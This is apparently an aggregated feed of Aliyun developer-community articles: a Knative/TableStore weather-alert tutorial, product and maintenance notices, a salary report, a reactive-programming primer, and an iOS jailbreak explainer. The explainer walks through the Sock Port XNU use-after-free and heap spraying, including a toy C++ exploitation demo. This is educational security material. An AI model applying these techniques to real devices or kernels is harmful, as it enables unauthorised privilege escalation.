        具体实现源代码 GitHub 地址:https://github.com/knative-sample/weather-service
        查询天气 RESTful API:

        • 请求URL
          GET /api/weather/query
        参数:
        cityCode:城市区域代码。如北京市区域代码:110000
        date:查询日期。如格式:2019-09-26
        • 返回结果
        {
            "code":200,
            "message":"",
            "data":{
                "adcode":"110000",
                "city":"北京市",
                "date":"2019-09-26",
                "daypower":"≤3",
                "daytemp":"30",
                "dayweather":"晴",
                "daywind":"东南",
                "nightpower":"≤3",
                "nighttemp":"15",
                "nightweather":"晴",
                "nightwind":"东南",
                "province":"北京",
                "reporttime":"2019-09-25 14:50:46",
                "week":"4"
            }
        }

        查询:杭州,2019-09-26天气预报信息示例
        测试地址:http://weather-service.default.knative.kuberun.com/api/weather/query?cityCode=330100&date=2019-11-06
        另外城市区域代码表可以在上面提供的源代码 GitHub 中可以查看,也可以到高德开放平台中下载:https://lbs.amap.com/api/webservice/download

        天气订阅提醒

        首先我们介绍一下表格存储提供的通道服务。通道服务(Tunnel Service)是基于表格存储数据接口之上的全增量一体化服务。通道服务为您提供了增量、全量、增量加全量三种类型的分布式数据实时消费通道。通过为数据表建立数据通道,您可以简单地实现对表中历史存量和新增数据的消费处理。通过数据通道可以进行数据同步、事件驱动、流式数据处理以及数据搬迁。这里事件驱动正好契合我们的场景。

        自定义 TableStore 事件源

        在 Knative 中自定义事件源其实很容易,可以参考官方提供的自定义事件源的实例:https://github.com/knative/docs/tree/master/docs/eventing/samples/writing-a-source
        我们这里定义数据源为 AliTablestoreSource。代码实现主要分为两部分:

        1. 资源控制器-Controller:接收 AliTablestoreSource 资源,在通道服务中创建 Tunnel。
        2. 事件接收器-Receiver:通过 Tunnel Client 监听事件,并将接收到的事件发送到目标服务( Broker)

        关于自定义 TableStore 事件源实现参见 GitHub 源代码:https://github.com/knative-sample/tablestore-source

        部署自定义事件源服务如下:
        https://github.com/knative-sample/tablestore-source/tree/master/config 中可以获取事件源部署文件,执行下面的操作

         kubectl apply -f 200-serviceaccount.yaml -f 201-clusterrole.yaml -f 202-clusterrolebinding.yaml -f 300-alitablestoresource.yaml -f 400-controller-service.yaml -f 500-controller.yaml -f 600-istioegress.yaml

        部署完成之后,我们可以看资源控制器已经开始运行:

        [root@iZ8vb5wa3qv1gwrgb3lxqpZ config]# kubectl -n knative-sources get pods
        NAME                                 READY   STATUS    RESTARTS   AGE
        alitablestore-controller-manager-0   1/1     Running   0          4h12m

        创建事件源

        由于我们是通过 Knative Eventing 中 Broker/Trigger 事件驱动模型对天气事件进行处理。首先我们创建用于数据接收的 Broker 服务。

        创建 Broker

        apiVersion: eventing.knative.dev/v1alpha1
        kind: Broker
        metadata:
          name: weather
        spec:
          channelTemplateSpec:
            apiVersion: messaging.knative.dev/v1alpha1
            kind: InMemoryChannel

        创建事件源实例

        这里需要说明一下,创建事件源实例其实就是在表格存储中创建通道服务,那么就需要配置访问通道服务的地址、accessKeyId和accessKeySecret,这里参照格式:{ "url":"https://xxx.cn-beijing.ots.aliyuncs.com/", "accessKeyId":"xxxx","accessKeySecret":"xxxx" } 设置并进行base64编码。将结果设置到如下 Secret 配置文件alitablestore 属性中:

        apiVersion: v1
        kind: Secret
        metadata:
          name: alitablestore-secret
        type: Opaque
        data:
          # { "url":"https://xxx.cn-beijing.ots.aliyuncs.com/", "accessKeyId":"xxxx","accessKeySecret":"xxxx" }
          alitablestore: "<base64>"

        创建 RBAC 权限

        apiVersion: rbac.authorization.k8s.io/v1
        kind: ClusterRoleBinding
        metadata:
          name: eventing-sources-alitablestore
        subjects:
        - kind: ServiceAccount
          name: alitablestore-sa
          namespace: default
        roleRef:
          apiGroup: rbac.authorization.k8s.io
          kind: ClusterRole
          name: eventing-sources-alitablestore-controller
        
        ---
        apiVersion: v1
        kind: ServiceAccount
        metadata:
          name: alitablestore-sa
        secrets:
        - name: alitablestore-secret

        创建 AliTablestoreSource 实例,这里我们设置接收事件的 sink 为上面创建的 Broker 服务。

        ---
        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: AliTablestoreSource
        metadata:
          labels:
            controller-tools.k8s.io: "1.0"
          name: alitablestoresource
        spec:
          # Add fields here
          serviceAccountName: alitablestore-sa
          accessToken:
            secretKeyRef:
              name: alitablestore-secret
              key: alitablestore
          tableName: weather
          instance: knative-weather
          sink:
            apiVersion: eventing.knative.dev/v1alpha1
            kind: Broker
            name: weather

        创建完成之后,我们可以看到运行中的事件源:

        [root@iZ8vb5wa3qv1gwrgb3lxqpZ config]# kubectl get pods
        NAME                                                              READY   STATUS      RESTARTS   AGE
        tablestore-alitablestoresource-9sjqx-656c5bf84b-pbhvw             1/1     Running     0          4h9m

        订阅事件和通知提醒

        创建天气提醒服务

        如何进行钉钉通知呢,我们可以创建一个钉钉的群组(可以把家里人组成一个钉钉群,天气异常时,给家人一个提醒),添加群机器人:
        4

        获取 webhook :
        5

        这里我们假设北京(110000),日期:2019-10-13, 如果天气有雨,就通过钉钉发送通知提醒,则服务配置如下:

        apiVersion: serving.knative.dev/v1beta1
        kind: Service
        metadata:
          name: day-weather
        spec:
          template:
            spec:
              containers:
              - args:
                - --dingtalkurl=https://oapi.dingtalk.com/robot/send?access_token=xxxxxx
                - --adcode=110000
                - --date=2019-10-13
                - --dayweather=雨
                image: registry.cn-hangzhou.aliyuncs.com/knative-sample/dingtalk-weather-service:1.2

        关于钉钉提醒服务具体实现参见 GitHub 源代码:https://github.com/knative-sample/dingtalk-weather-service

        创建订阅

        最后我们创建 Trigger订阅天气事件,并且触发天气提醒服务:

        apiVersion: eventing.knative.dev/v1alpha1
        kind: Trigger
        metadata:
          name: weather-trigger
        spec:
          broker: weather
          subscriber:
            ref:
              apiVersion: serving.knative.dev/v1alpha1
              kind: Service
              name: day-weather

        订阅之后,如果北京(110000),日期:2019-10-13, 天气有雨,会收到如下的钉钉提醒:
        7

        这里其实还有待完善的地方:

        • 是否可以基于城市进行订阅(只订阅目标城市)?
        • 是否可以指定时间发送消息提醒(当天晚上 8 点准时推送第 2 天的天气提醒信息)?

        有兴趣的可以继续完善当前的天气服务功能。

        总结

        通过上面的介绍,大家对如何通过 Knative 提供天气查询、 订阅天气信息,钉钉推送通知提醒应该有了更多的体感,其实类似的场景我们有理由相信通过 Knative Serverless 可以帮你做到资源利用游刃有余。欢迎持续关注。

        作者信息:元毅,阿里云容器平台高级开发工程师,负责阿里云容器平台 Knative 相关工作

        ]]>
        阿里云 Serverless 应用引擎(SAE)发布 v1.2.0,支持一键启停、NAS 存储、小规格实例等实用特性 Fri, 02 May 2025 09:39:04 +0800 _2019_11_27_10_44_42

        11月26日,阿里云 Serverless 应用引擎(SAE)发布 v1.2.0版本,新版本实现了以下新功能/新特性:

        • 一键启停开发测试环境:企业开发测试环境一般晚上不常用,长期保有应用实例,闲置浪费很高。使用SAE一键启停功能,按需释放闲置资源,节省成本。
        • NAS 存储:通过NAS存储能持久化应用实例的一些数据,日志。
        • 查看应用 Events:查看 K8s 原生的Events事件,了解运行时的状态,方便快速定位问题。
        • 支持 0.5Core 1GiB 的小规格实例:支持更小粒度的资源规格,方便非 Java 的应用运行时经济成本。建议用于开发测试环境。
        • WAR 包部署支持 Tomcat 8 版本。

        一键启停开发测试环境

        在 SAE 控制台上,随着托管应用逐渐增多,存在占有资源却处于闲置状态的应用。例如应用开发完成后对其进行测试联调,完成测试联调后未将应用实例释放,随着空闲应用增多,对资源造成了大大的浪费。您可以使用一键批量启停功能将闲置应用停止释放资源。当再次需要时可以一键批量启动,继续执行相关业务。

        p68335

        支持 NAS 存储

        阿里云文件存储NAS是一个可共享访问、弹性扩展、高可靠以及高性能的分布式文件系统。它基于 POSIX 文件接口,天然适配原生操作系统,提供共享访问,同时保证数据一致性和锁互斥。

        鉴于容器的可快速预置、容易携带,并可提供进程隔离的特点,容器非常适用于构建微服务。对于每次启动时都需要访问原始数据的容器,它们需要一个共享文件系统,使它们无论在哪个实例上运行,都可以连接到该文件系统。NAS 可提供对文件数据的持久共享访问权限,非常适合容器存储。

        我们知道,默认情况下,容器的数据都是非持久化的,在容器销毁以后数据也跟着丢失,在很多场景下数据丢失意味着线上灾难性事件。SAE 支持NAS 存储功能,解决了应用实例数据持久化和实例间多读共享数据的问题。

        p67278

        查看应用事件信息

        SAE 支持查看 K8s 原生的 Events 事件,帮助您了解应用运行时的状态,方便快速聚焦问题。

        更多内容

        SAE 产品详情页 >>
        SAE v1.2.0 发布详情 >>
        “一招玩转 Serverless”产品评测活动 >>
        SAE 用户交流钉钉群:23156632

        ]]>
        【升级】12月消息队列MQ升级计划通知 Fri, 02 May 2025 09:39:04 +0800

        【阿里云】【消息队列MQ】【升级通知】

        升级窗口:

        北京时间2019年12月5日 01:00 - 09:00

        北京时间2019年12月19日 01:00 - 09:00

        北京时间2019年12月26日 01:00 - 09:00
        升级内容:所有地域的MQ服务(包含Tcp、Mqtt、Http接入方式)。

        升级影响:

        升级期间MQ控制台和集群中每个服务节点可能出现秒级闪断(闪断时间和集群规模正相关),客户端会自动重试机制,一般不会影响业务,但可能会有异常日志。
        升级期间,消息可能会有重复,应用应该按最值实践,做好消息的幂等;同时可能会有消息延迟的现象。
        如需在控制台进行管理操作,请避开维护时间段。HTTP接入可能会出现闪断或者拒绝连接现象,每次闪断或拒绝连接不会超过1分钟,请在客户端中做好重连重试机制。同时,您可使用监控管理功能对重要业务进行监控,具体设置方法请点击MQ控制台左侧监控报警菜单。

        给您带来的不便敬请谅解,有任何问题,可随时通过工单或服务电话95187联系反馈。

        ]]>
        2019 年度全球程序员薪酬报告:40岁以后普遍遭遇收入天花板-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        程序员求职面试(微信号:CoderJob)编译
        原文链接:https://hired.com/page/state-of-salaries

        日前 ,Hired 发布了《2019 年度薪酬状况报告》。该报告聚焦于全球 13 个城市的技术领域发展状况,该报告特别关注了软件工程师、产品经理、DevOps 工程师、设计师以及数据科学家等技术工作者的薪资。
        该报告也解决了众多IT从业者的许多疑问,下面选取了大家普遍关注,具有一定参考价值的结论进行梳理,主要内容如下:

        • 仅有 23% 的计算机科学相关专业硕士 / 博士表示高学历为其带来高薪;
        • 最热门的五大技术;
        • 在美国,技术工作者在 40 岁以后收入趋于平稳,且呈逐渐下降趋势;
        • 全球对区块链工程师的需求同比增长 517%;

        高学位=高薪?

        近年来,Apple,Google和 PayPal 等科技巨头已经放弃了以往对求职者教育背景的要求,越来越多的将目光投注到教育以外的实际工作经历。虽然高学历可以带来很多好处,但很多求职者都面临同一个问题:在学历上加码在经济上值得吗?
        image.png
        调查显示,31%的从业者表示没有硕士/博士学历也可以获得目前的岗位,48% 的从业者认为高学历为求职带来帮助。21%的人表示并不能确定高学历是否带来影响。
        image.png
        而求职者在面对是否继续深造的意愿的情况下,超半数(54%)的受访者表示没有兴趣继续攻读硕士 / 博士学位。放弃继续深造的主要原因是,相对于在校获得的专业知识,公司更看重实际工作经验的积累,而用人单位对人才的选拔也不再“唯学历”。
        报告中,76% 的受访者认为参加编程培训机构可以为程序员的职业生涯做准备。根据《2019 年软件工程师状况报告》,在伦敦的就业市场,计算机科学学位百分比最高,选择自学编程的百分比其次。
        image.png

        最热门的五大技术

        对于求职者来说,具备哪些技能在当今的招聘市场中占有至关重要。
        根据数据显示,以美国和英国为例,全栈开发人员是美国最受欢迎的开发人员,而后端工程师在英国最受欢迎。
        image.png
        image.png
        另外,报告中总结出了雇主们最看中也是技术从业者必备的五大技术技能,分别是 Javascript、Java、Python、Node.js 以及 SQL 。
        image.png

        全球技术从业者平均薪资

        2019 年,全球技术从业者的平均薪资为 12.9 万美元。
        image.png
        根据报告显示,美国技术从业者平均薪资最高,为 13.5 万美元,值得注意的是,旧金山湾区已经连续四年成为技术工作者收入最高的就业市场。

        40岁以后薪资呈下降趋势

        在这个报告中,揭示了科技圈隐性的“年龄歧视”。调查的数据显示,40岁以后的美国技术工作者的平均工资虽然仍普遍较高,但基本不再增长,呈现下降趋势。
        下图为美国技术工作者不同年龄段,实际工资与预期工资对比。
        image.png

        区块链人才需求增加

        随着初创企业引入技术应用新方法,大型企业继续寻求数字化转型,因此,聘用顶尖技术人才的公司的用人需求也在不断变化。
        根据Hired市场的数据显示,全球对区块链工程师的需求正在迅速增加,同比增长517%。对于具有区块链专业知识的工程师,他们通常具有后端工程师,系统工程师或解决方案架构师之类的头衔,而区块链被列为该角色所需的技能。
        具备安全专业知识的工程师也很受欢迎,这可能是由于消费者日益关注隐私问题及数据泄露事件的不断增加导致。在过去一年中,公司对安全工程师的需求增长了132%。另外,对专门从事数据分析和机器学习的人才的需求也在不断上升。
        image.png
        那么,在不同的国家或地区,哪一类顶级软件工程师最抢手,薪资更高?以下是报告中提供的参考数据:
        image.png
        注:该报告聚焦于全球 13 个城市的技术领域发展状况,调查所包含的薪资数据反映了超过 420000 个面试请求和过去一年的工作机会,通过 10000 多家参与公司和 98000 名求职者的数据促成了调查工作。除了专有数据,Hired 还在招聘平台上收集了全球 1800 多名科技工作者的调查反馈,以全面了解教育、薪资、福利和生活成本如何影响员工的决策和满意度。


        技术交流钉群
        想获取更多最新技术咨询
        image

        ]]>
        iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 与 Heap Spraying-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文同步发表在 掘金社区微信公众号

        前言

        在之前的汇编教程系列文章中,我们在用户态下探讨了诸多原理。从今天开始,我们将详细分析历代 iOS Jailbreak Exploits,并由此深入 XNU 内核,并学习更多二进制安全攻防的知识。

        虽然国外大佬提供的 Exploit PoC 都有较为详细的 write-up,但这些 write-up 常常以之前出现的 PoC 为基础,并不详细展开某些具体原理,这就导致初学者很难完全读懂。笔者的 Jailbreak Priciples 系列文章会将所有相关的 PoC 和 write-up 进行整合,并以读者是内核小白(其实笔者也是)为假设展开分析,目标是打造人人能读懂的 XNU 漏洞分析系列文章。

        越狱的本质

        iOS 仅为用户提供了一个受限的 Unix 环境,常规情况下我们只能在用户态借助于合法的系统调用来与内核交互。相反的,用于电脑的 macOS 则有着很高的自由度。它们都基于 Darwin-XNU,但 Apple 在 iPhoneOS 上施加了诸多限制,越狱即解除这些限制使我们可以获得 iPhoneOS 的 root 权限,进而在一定程度上为所欲为。

        Apple 采用了 Sandbox, Signature Checkpoints 等手段对系统进行保护,使得突破这些限制变得极为困难。

        越狱的分类

        目前越狱主要分为两类,一类是以硬件漏洞为基础的 BootROM Exploit,另一类则是基于软件漏洞的 Userland Exploit。

        BootROM Exploit

        这类漏洞类似于单片机中的 IC 解密,从硬件层面发现 iPhone 本身的漏洞,使得整个系统的 Secure Boot Chain 变得不可靠,这类漏洞的杀伤力极强,只能通过更新硬件解决。最近出现的 checkm8 及基于它开发的 checkra1n 就实现了 iPhone 5s ~ iPhone X 系列机型的硬件调试与越狱;

        Userland Exploit

        这类漏洞往往是对开源的 Darwin-XNU 进行代码审计发现的,基于这些漏洞往往能使我们在用户态将任意可执行代码送入内核执行,我们即将介绍的 Sock Port Exploit 即是对 XNU 中 socket options 的一个 UAF 漏洞的利用。

        将用户态数据送入内核

        通过上文的分析我们知道,Userland Exploit 的一个重要基础是能将任意数据写入内核的堆区,使之成为有效地 Kernel 数据结构,进而从用户态实施对内核的非法控制。遗憾的是,我们无法直接操作内核的内存数据,这是因为用户态的应用程序没有办法获取 kernel_task,也就无法直接通过 vm_readvm_write 等函数操作内核的堆栈。

        既然无法直接操作内存,我们就需要考虑间接操作内存的方式,事实上我们有非常多的方式能够间接读写内核的数据,最常见方式有 Socket, Mach Message 和 IOSurface 等,这里我们先介绍最好理解的 Socket 方式,随后对 Sock Port 的漏洞时分析会介绍其利用这三种方式打的组合拳。

        基于 Socket 的间接内核内存读写

        由于 Socket 的实现是操作系统层面的,在用户态通过 socket 函数创建 sock 时内核会执行一些内存分配操作,例如下面的用户态代码:

        int sock = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);

        在内核态会根据传入的参数创建 struct socket 结构体:

        /*
         * Kernel structure per socket.
         * Contains send and receive buffer queues,
         * handle on protocol and pointer to protocol
         * private data and error information.
         */
        struct socket {
            int    so_zone;        /* zone we were allocated from */
            short    so_type;        /* generic type, see socket.h */
            u_short    so_error;        /* error affecting connection */
            u_int32_t so_options;        /* from socket call, see socket.h */
            short    so_linger;        /* time to linger while closing */
            short    so_state;        /* internal state flags SS_*, below */
            void    *so_pcb;        /* protocol control block */
            // ...
        }

        这里我们能通过传入 socket 的参数间接、受限的控制内核中的内存,但由于系统只会返回 sock 的句柄(handle)给我们,我们无法直接读取内核的内存内容。

        要读取内核的内存,我们可以借助于内核提供的 socket options 相关函数,他们能够修改 socket 的一些配置,例如下面的代码修改了 IPV6 下的 Maximum Transmission Unit:

        // set mtu
        int minmtu = -1;
        setsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(*minmtu));
        
        // read mtu
        getsockopt(sock, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(*minmtu));

        在内核态,系统会读取 struct socket 的 so_pcb,并执行来自用户态的读写操作,由此我们透过 options 相关函数读写了内核中 socket 结构体的部分内容。

        利用 Socket 读写内核的任意内容

        上述方式有一个明显的限制,那就是我们只能在内核受控的范围内读写内存,单单通过这种方式是玩不出幺蛾子的。设想如果我们能尝试把一个伪造的 Socket 结构体分配到内核的其他区段,是不是就能通过 setsockoptgetsockopt 来读写任意内存了呢?

        Sock Port 是一个利用 Socket 函数集实现内核内存任意读写的漏洞,它主要基于 iOS 10.0 - 12.2 的内核代码中 socket disconnect 时的一个漏洞,观察如下的内核代码:

        if (!(so->so_flags & SOF_PCBCLEARING)) {
            struct ip_moptions *imo;
            struct ip6_moptions *im6o;
        
            inp->inp_vflag = 0;
            if (inp->in6p_options != NULL) {
                m_freem(inp->in6p_options);
                inp->in6p_options = NULL; // <- good
            }
            ip6_freepcbopts(inp->in6p_outputopts); // <- bad
            ROUTE_RELEASE(&inp->in6p_route);
            /* free IPv4 related resources in case of mapped addr */
            if (inp->inp_options != NULL) {
                (void) m_free(inp->inp_options); 
                inp->inp_options = NULL; // <- good
            }
            // ...
        }

        可以看到在清理 options 时只对 in6p_outputopts 进行了释放,而没有清理 in6p_outputopts 指针的地址,这就造成了一个 in6p_outputopts 悬垂指针。

        幸运的是,通过某种设置后,我们能够在 socket disconnect 后继续通过 setsockoptgetsockopt 间接读写这个悬垂指针。随着系统重新分配这块内存,我们依然能够通过悬垂指针对其进行访问,因此问题转化为了如何间接控制系统对该区域的 Reallocation。

        这类透过悬垂指针操作已释放区域的漏洞被称为 UAF(Use After Free),而间接控制系统 Reallocation 的常见方式有 堆喷射(Heap Spraying)堆风水(Heap feng-shui),整个 Sock Port 的漏洞利用较为复杂,我们将在接下来的几篇文章中逐步讲解,这里只需要对这些概念有个初步的认识即可。

        Use After Free

        透过上述例子我们对 UAF 有了一个初步的认识,现在我们参考 Webopedia 给出明确的定义:

        Use After Free specifically refers to the attempt to access memory after it has been freed, which can cause a program to crash or, in the case of a Use-After-Free flaw, can potentially result in the execution of arbitrary code or even enable full remote code execution capabilities.

        即尝试访问已释放的内存,这会导致程序崩溃,或是潜在的任意代码执行,甚至获取完全的远程控制能力。

        UAF 的关键之一是获取被释放区域的内存地址,一般透过悬垂指针实现,而悬垂指针是由于指针指向的内存区域被释放,但指针未被清零导致的,这类问题在缺乏二进制安全知识的开发者写出的代码中屡见不鲜。

        对于跨进程的情况下,只透过悬垂指针是无法读写执行内存的,需要配合一些能间接读取悬垂指针的 IPC 函数,例如上文中提到的 setsockoptgetsockopt,此外为了有效地控制 Reallocation 往往需要结合间接操作堆的相关技术。

        Heap Spraying

        下面我们参考 Computer Hope 给出 Heap Spraying 的定义:

        Heap spraying is a technique used to aid the exploitation of vulnerabilities in computer systems. It is called "spraying the heap" because it involves writing a series of bytes at various places in the heap. The heap is a large pool of memory that is allocated for use by programs. The basic idea is similar to spray painting a wall to make it all the same color. Like a wall, the heap is "sprayed" so that its "color" (the bytes it contains) is uniformly distributed over its entire memory "surface."

        即在用户态透过系统调用等方式在内核堆的不同区域分配大量内存,如果将内核的堆比作墙壁,堆喷射就是通过大量分配内存的方式将同样颜色的油漆(同样的字节)泼洒到堆上,这会导致其颜色(同样的字节)均匀的分布在整个内存平面上,即那些先前被释放的区域几乎都被 Reallocation 成了同样的内容。

        简言之就是,比如我们 alloc 了 1 个 8B 的区域,随后将其释放,接下来再执行 alloc 时迟早会对先前的区域进行复用,如果恰好被我们 alloc 时占用,则达到了内容控制的目的。透过这种技术我们可以间接控制堆上的 Reallocation 内容。

        显然如果我们将上述 Socket UAF 与 Heap Spraying 组合,就有机会为 Socket Options 分配伪造的内容,随后我们通过 setsockoptgetsockopt 执行读写和验证,就能实现对内核堆内存的完全控制。

        一个纯用户态的 UAF & Heap Spraying 例子

        综合上述理论探讨,我们对堆内存的读写有了初步的认识,事实上事情没有我们想象的那么简单,整个 Sock Port 的利用是基于许多漏洞组合而来的,并非三言两语和一朝一夕能够完全搞懂,因此本文先不展开具体漏洞的内容,而是在用户态模拟一个 UAF 和 Heap Spraying 的场景让大家先从工程上初步认识这两个概念。

        假设的漏洞场景

        设想小明是一个初级页面仔,他要开发一个任务执行系统,该系统根据任务的优先级顺序执行任务,任务的优先级取决于用户的 VIP 等级,该 VIP 等级被记录在 task 的 options 中:

        struct secret_options {
            bool isVIP;
            int vipLevel;
        };
        
        struct secret_task {
            int tid;
            bool valid;
            struct secret_options *options;
        };

        小明参考了 Mach Message 的设计理念,在系统内部维护 Task 的内存结构,只对外暴露 Task 的句柄(tid),用户可以透过 create_secret_task 创建任务,任务的默认是没有 VIP 等级的:

        std::map<task_t, struct secret_task *> taskTable;
        
        task_t create_secret_task() {
            struct secret_task *task = (struct secret_task *)calloc(1, sizeof(struct secret_task));
            task->tid = arc4random();
            while (taskTable.find(task->tid = arc4random()) != taskTable.end());
            taskTable[task->tid] = task;
            struct secret_options *options = (struct secret_options *)calloc(1, sizeof(struct secret_options));
            task->options = options;
            options->isVIP = false;
            options->vipLevel = 0;
            return task->tid;
        }

        在系统之外,用户能做的只是创建任务、获取 VIP 信息以及获取任务优先级:

        typedef int task_t;
        #define SecretTaskOptIsVIP 0
        #define SecretTaskOptVipLevel 1
        #define SecretTaskVipLevelMAX 9
        
        int get_task_priority(task_t task_id) {
            struct secret_task *task = get_task(task_id);
            if (!task) {
                return (~0U);
            }
            return task->options->isVIP ? (SecretTaskVipLevelMAX - task->options->vipLevel) : (~0U);
        }
        
        bool secret_get_options(task_t task_id, int optkey, void *ret) {
            struct secret_task *task = get_task(task_id);
            if (!task) {
                return false;
            }
            switch (optkey) {
                case SecretTaskOptIsVIP:
                    *(reinterpret_cast<bool *>(ret)) = task->options->isVIP;
                    break;
                case SecretTaskOptVipLevel:
                    *(reinterpret_cast<int *>(ret)) = task->options->vipLevel;
                    break;
                default:
                    break;
            }
            return true;
        }

        在理想情况下,不考虑逆向工程的方式,我们只能拿到 Task 的句柄,无法获取 Task 地址,因此无法任意修改 VIP 信息。

        小明同时为用户提供了注销任务的 API,他只对任务的 options 进行了释放,同时将任务标记为 invalid,缺乏经验的他忘记清理 options 指针,为系统引入了一个 UAF Exploit:

        bool free_task(task_t task_id) {
            struct secret_task *task = get_task(task_id);
            if (!task) {
                return false;
            }
            free(task->options);
            task->valid = false;
            return true;
        }

        假设的攻击场景

        常规情况下,我们只能透过公共的 API 访问系统:

        // create task
        task_t task = create_secret_task();
        
        // read options
        int vipLevel;
        secret_get_options(task, SecretTaskOptVipLevel, &vipLevel);
        
        // get priority
        int priority = get_task_priority(leaked_task);
        
        // release task
        free_task(task);

        由于 Task 默认是非 VIP 的,我们只能拿到最低优先级 INTMAX。这里我们通过 task->options 的 UAF 可以伪造 task 的 VIP 等级,方法如下:

        1. 创建一个 Task,并通过 free_task 函数将其释放,这会构造一个 task->options 的悬垂指针;
        2. 不断分配与 task->options 指向的 struct secret_options 相同大小的内存区域,直到 task->options 悬垂指针指向的区域被 Reallocation 成我们新申请的内存,验证方式可以伪造特定数据,随后通过 secret_get_options 读取验证;
        3. 此时 struct secret_options 已经指向了我们新申请的区域,可以通过修改该区域实现对 Task Options 的修改。
        struct faked_secret_options {
            bool isVIP;
            int vipLevel;
        };
        struct faked_secret_options *sprayPayload = nullptr;
        task_t leaked_task = -1;
        
        for (int i = 0; i < 100; i++) {
            // create task
            task_t task = create_secret_task();
            // free to make dangling options
            free_task(task);
            
            // alloc to spraying
            struct faked_secret_options *fakedOptions = (struct faked_secret_options *)calloc(1, sizeof(struct faked_secret_options));
            fakedOptions->isVIP = true;
            // to verify
            fakedOptions->vipLevel = 0x123456;
            
            // check by vipLevel
            int vipLevel;
            secret_get_options(task, SecretTaskOptVipLevel, &vipLevel);
            if (vipLevel == 0x123456) {
                printf("spray succeeded at %d!!!n", i);
                sprayPayload = fakedOptions;
                leaked_task = task;
                break;
            }
        }
        
        // modify
        if (sprayPayload) {
            sprayPayload->vipLevel = 9;
        }

        由于是纯用户态、同一线程内的同步操作,这种方式的成功率极高。当然这种方式只能让大家对 UAF 与 Heap Spraying 有一个大致认识,实际上这类漏洞利用都是跨进程的,需要非常复杂的操作,往往需要借助于 Mach Message 和 IOSurface,且 Payload 构造十分复杂

        下节预告

        在下一个章节中我们将开始着手分析 Sock Port 的源码,了解来自 Ian Beer 大佬的 kalloc 系列函数以及利用 IOSurface 进行 Heap Spraying 的方式和原理。其中 kalloc 系列函数需要对 Mach Message 有深入的认识,因此在下一篇文章中我们也会从 XNU 源码角度分析 mach port 的设计。

        2a6aa7460ece60dcdd7693514406fbb4.png

        参考资料

        1. Andy Slye. What Is Jailbreaking? How a Jailbreak Works - https://www.youtube.com/watch?v=tYKfXNiA1wc
        2. Webopedia. Use After Free - https://www.webopedia.com/TERM/U/use-after-free.html
        3. Computer Hope. Heap spraying - https://www.computerhope.com/jargon/h/heap-spraying.htm
        4. GitHub. jakeajames/sock_port - https://github.com/jakeajames/sock_port/tree/sock_port_2
        ]]>
        反应式编程探索与总结-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 1.什么是反应式编程

        Reactive Programming

        一种以异步处理数据流为中心思想的编程范式,这个范式存在已久,不是新概念,就像面向过程、面向对象编程、函数式编程等范式。

        对比一下,Reactive streams指的是一套规范,对于Java开发者来讲,Reactive Streams就是一套API,使我们可以进行Reactive programming。

        Reactive模型最核心的是线程消息管道。线程用于侦听事件,消息管道用于线程之间通信不同的消息。

        2.理论基础

        2.1 反应式宣言

        Reactive Manifesto。一切反应式概念的根源理论基础。

        https://www.reactivemanifesto.org/zh-CN

        描述了反应式系统(reactive systems)应该具备的四个关键属性:Responsive(灵敏的)、Resilient(可故障恢复的)、Elastic(可伸缩的)、Message Driven(消息驱动的)。

        1

        • Responsive(灵敏的):只要有可能,系统就会及时响应。灵敏性是系统可用性的基石,除此之外,灵敏性也意味着系统的问题可以被快速地探测和解决。具有灵敏性的系统关注做出快速和一致的响应,提供可靠和一致的服务质量。
        • Resilient(可故障恢复的):在出现故障时,系统仍然可以保持响应。一个不具可恢复性的系统一旦出现故障,就会变得无法正常响应。可恢复性可以通过复制、围控、隔离和委派等方式实现。在可恢复性的系统中,故障被包含在每个组件中,各组件之间相互隔离,从而允许系统的某些部分出故障并且在不连累整个系统的前提下进行恢复。
        • Elastic(可伸缩的):在不同的工作负载下,系统保持响应。系统可以根据输入的工作负载,动态地增加或减少系统使用的资源。这意味着系统在设计上可以通过分片、复制等途径来动态申请系统资源并进行负载均衡,从而去中心化,避免节点瓶颈。
        • Message Driven(消息驱动的):反应式系统依赖异步消息传递机制,从而在组件之间建立边界,这些边界可以保证组件之间的松耦合、隔离性、位置透明性,还提供了以消息的形式把故障委派出去的手段。
          • Failures at messages:在 Reactive 编程中,我们通常需要处理流式的信息,我们最不希望看到的是突然抛出一个异常,然后处理过程终止了。理想的解决办法是我们记下这个错误,然后开始执行某种重试或恢复的逻辑。在 Reactive Streams 中,异常是一等公民,异常不会被粗鲁地抛出,错误处理是正式建立在 Reactive Streams API 规范之内的。
          • Back-pressure中文一般翻译成“背压”、“回压”,意思是当消费端的消费能力跟不上生产端的生产速度时,消息流下游的消费方对上游的生产方说:“我喝饱了,请你慢点”。在 Reactive 的世界里,我们希望下游的消费方可以有某种机制按需请求一定数量的消息来消费(这类似消息队列中的 pull 的概念)。而不是上游把大量的消息一股脑灌给下游消费方,然后阻塞式等待,throttling(节流) is done programmatically rather than blocking threads。
          • Non-blocking:数据处理以一种非阻塞的方式被处理,线程不会因为等待别的处理过程而卡住。这里可以对比有着 非阻塞事件循环 的Node.js Server(如一条高速公路)和传统的Java多线程服务(如拥有红绿灯的十字路口)
            • 2
            • 3

         

        2.2 Imperative vs Reactive

        指令式编程 vs 反应式(响应式)编程

        2.2.1 概念

        from 维基百科

        • 指令式编程:是一种描述电脑所需作出的行为的编程典范。几乎所有电脑的硬件工作都是指令式的;几乎所有电脑的硬件都是设计来运行机器代码,使用指令式的风格来写的。较高端的指令式编程语言使用变量和更复杂的语句,但仍依从相同的典范。菜谱和行动清单,虽非计算机程序,但与指令式编程有相似的风格:每步都是指令,有形的世界控制情况。因为指令式编程的基础观念,不但概念上比较熟悉,而且较容易具体表现于硬件,所以大部分的编程语言都是指令式的。
        • 反应式编程:一种面向数据流和变化传播的编程范式。这意味着可以在编程语言中很方便地表达静态或动态的数据流,而相关的计算模型会自动将变化的值通过数据流进行传播。最初是为了简化交互式用户界面的创建和实时系统动画的绘制而提出来的一种方法,但它本质上是一种通用的编程范式。

        2.2.2 差异比较

        两种不同的编程范式
